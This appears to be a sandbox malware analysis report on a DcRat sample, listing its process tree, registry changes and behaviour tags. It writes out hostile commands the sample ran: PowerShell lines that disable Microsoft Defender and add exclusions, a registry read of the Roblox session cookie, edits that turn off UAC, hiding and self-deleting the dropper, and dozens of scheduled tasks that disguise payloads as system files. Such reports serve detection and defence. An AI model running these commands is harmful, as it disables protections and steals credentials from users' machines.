PID 2776 wrote to memory of 2544	2776	Injector.exe	107
PID 2776 wrote to memory of 2544	2776	Injector.exe	107
PID 2776 wrote to memory of 4032	2776	Injector.exe	108
PID 2776 wrote to memory of 4032	2776	Injector.exe	108
PID 2776 wrote to memory of 4032	2776	Injector.exe	108
PID 3828 wrote to memory of 4888	3828	Saransk.exe	109
PID 3828 wrote to memory of 4888	3828	Saransk.exe	109
PID 3828 wrote to memory of 2672	3828	Saransk.exe	111
PID 3828 wrote to memory of 2672	3828	Saransk.exe	111
PID 2544 wrote to memory of 2352	2544	WScript.exe	113
PID 2544 wrote to memory of 2352	2544	WScript.exe	113
PID 2544 wrote to memory of 2352	2544	WScript.exe	113
PID 3828 wrote to memory of 4100	3828	Saransk.exe	114
PID 3828 wrote to memory of 4100	3828	Saransk.exe	114
PID 2352 wrote to memory of 3484	2352	cmd.exe	117
PID 2352 wrote to memory of 3484	2352	cmd.exe	117
PID 3828 wrote to memory of 2724	3828	Saransk.exe	118
PID 3828 wrote to memory of 2724	3828	Saransk.exe	118
PID 3828 wrote to memory of 2608	3828	Saransk.exe	120
PID 3828 wrote to memory of 2608	3828	Saransk.exe	120
PID 3828 wrote to memory of 4084	3828	Saransk.exe	124
PID 3828 wrote to memory of 4084	3828	Saransk.exe	124
PID 3828 wrote to memory of 5068	3828	Saransk.exe	126
PID 3828 wrote to memory of 5068	3828	Saransk.exe	126
PID 3484 wrote to memory of 4956	3484	hyperInto.exe	146
PID 3484 wrote to memory of 4956	3484	hyperInto.exe	146
PID 4956 wrote to memory of 4552	4956	cmd.exe	148
PID 4956 wrote to memory of 4552	4956	cmd.exe	148
PID 3828 wrote to memory of 1084	3828	Saransk.exe	149
PID 3828 wrote to memory of 1084	3828	Saransk.exe	149
PID 1084 wrote to memory of 3112	1084	cmd.exe	151
PID 1084 wrote to memory of 3112	1084	cmd.exe	151
PID 4956 wrote to memory of 2908	4956	cmd.exe	152
PID 4956 wrote to memory of 2908	4956	cmd.exe	152
PID 2908 wrote to memory of 4076	2908	hyperInto.exe	189
PID 2908 wrote to memory of 4076	2908	hyperInto.exe	189
PID 4076 wrote to memory of 3256	4076	cmd.exe	191
PID 4076 wrote to memory of 3256	4076	cmd.exe	191
PID 4076 wrote to memory of 3120	4076	cmd.exe	192
PID 4076 wrote to memory of 3120	4076	cmd.exe	192
PID 3120 wrote to memory of 2368	3120	explorer.exe	193
PID 3120 wrote to memory of 2368	3120	explorer.exe	193
PID 3120 wrote to memory of 4704	3120	explorer.exe	194
PID 3120 wrote to memory of 4704	3120	explorer.exe	194
PID 2368 wrote to memory of 3716	2368	WScript.exe	197
PID 2368 wrote to memory of 3716	2368	WScript.exe	197

System policy modification 1 TTPs 21 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	explorer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	hyperInto.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	explorer.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4248	attrib.exe

C:\Users\Admin\AppData\Local\Temp\4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe
"C:\Users\Admin\AppData\Local\Temp\4ce4afc5fd856ed5951e35c3efd45fdc03662abf43050fddc564023ef40e6823.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Saransk.exe'
  2⤵
  - DcRat
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2476
- C:\Users\Admin\AppData\Local\Temp\Saransk.exe
  "C:\Users\Admin\AppData\Local\Temp\Saransk.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3828
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4620
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Saransk.exe"
    3⤵
    - Views/modifies file attributes
    PID:4248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Saransk.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2672
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4100
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:2724
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4084
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:5068
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Saransk.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1084
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Injector.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1848
- C:\Users\Admin\AppData\Local\Temp\Injector.exe
  "C:\Users\Admin\AppData\Local\Temp\Injector.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Chainnet\8f9Z3.vbe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Chainnet\oniRrs8nIuzVsaH8sYiTK.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2352
    - - C:\Chainnet\hyperInto.exe
        
        "C:\Chainnet\hyperInto.exe"
        5⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:3484
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ewPZHvZvHV.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4956
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:4552
        
        C:\Chainnet\hyperInto.exe
        
        "C:\Chainnet\hyperInto.exe"
        7⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:2908
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\5LrvHuZgit.bat"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4076
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:3256
        
        C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe
        
        "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe"
        9⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:3120
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\04fd5b59-6122-46d3-8a97-933ff1a6c38b.vbs"
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2368
        
        C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe
        
        "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe"
        11⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        System policy modification
        
        PID:3716
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dc841362-db7e-4a51-86c3-47d01eed4805.vbs"
        12⤵
        
        PID:900
        
        C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe
        
        "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe"
        13⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        System policy modification
        
        PID:3484
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fa05eb84-bbc4-455d-a8a5-d46e630f00b2.vbs"
        14⤵
        
        PID:3256
        
        C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe
        
        "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe"
        15⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        System policy modification
        
        PID:1908
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3d4fbfe3-17c9-471d-9d1d-b7f47f84dd0d.vbs"
        16⤵
        
        PID:2588
        
        C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe
        
        "C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe"
        17⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        System policy modification
        
        PID:1380
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\12467a05-c267-40f6-bc39-d84e1743c20b.vbs"
        18⤵
        
        PID:2108
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9fa1ab62-8497-46e6-b078-c7e9b682a11e.vbs"
        18⤵
        
        PID:4988
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bdb274db-eab5-4bfe-8d3c-b26724ef14d6.vbs"
        16⤵
        
        PID:1340
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\50eed507-54cb-48da-9205-71971a8d3891.vbs"
        14⤵
        
        PID:2576
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\176710de-86fb-49bf-bd0c-6dac4ed97f46.vbs"
        12⤵
        
        PID:2528
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1c7f0b07-ac0b-496f-bc1a-df83dc87ae73.vbs"
        10⤵
        
        PID:4704
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Chainnet\file.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\System.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1124

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\System.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2524

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\System.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\unsecapp.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2628

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\unsecapp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Internet Explorer\uk-UA\unsecapp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Windows\ImmersiveControlPanel\SearchApp.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Windows\ImmersiveControlPanel\SearchApp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Windows\ImmersiveControlPanel\SearchApp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\Windows\DiagTrack\sppsvc.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\DiagTrack\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Windows\DiagTrack\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 10 /tr "'C:\Windows\Web\Screen\TrustedInstaller.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstaller" /sc ONLOGON /tr "'C:\Windows\Web\Screen\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 13 /tr "'C:\Windows\Web\Screen\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Chainnet\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Chainnet\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Chainnet\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Program Files\Mozilla Firefox\uninstall\RuntimeBroker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\uninstall\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files\Mozilla Firefox\uninstall\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1068

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 14 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\explorer.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\spoolsv.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Google\MoUsoCoreWorker.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Google\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\dllhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Users\Default User\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Users\Default User\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'C:\Windows\schemas\CodeIntegrity\ExamplePolicies\lsass.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\schemas\CodeIntegrity\ExamplePolicies\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\Windows\schemas\CodeIntegrity\ExamplePolicies\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows NT\TrustedInstaller.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstaller" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows NT\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\Program Files\7-Zip\Lang\lsass.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
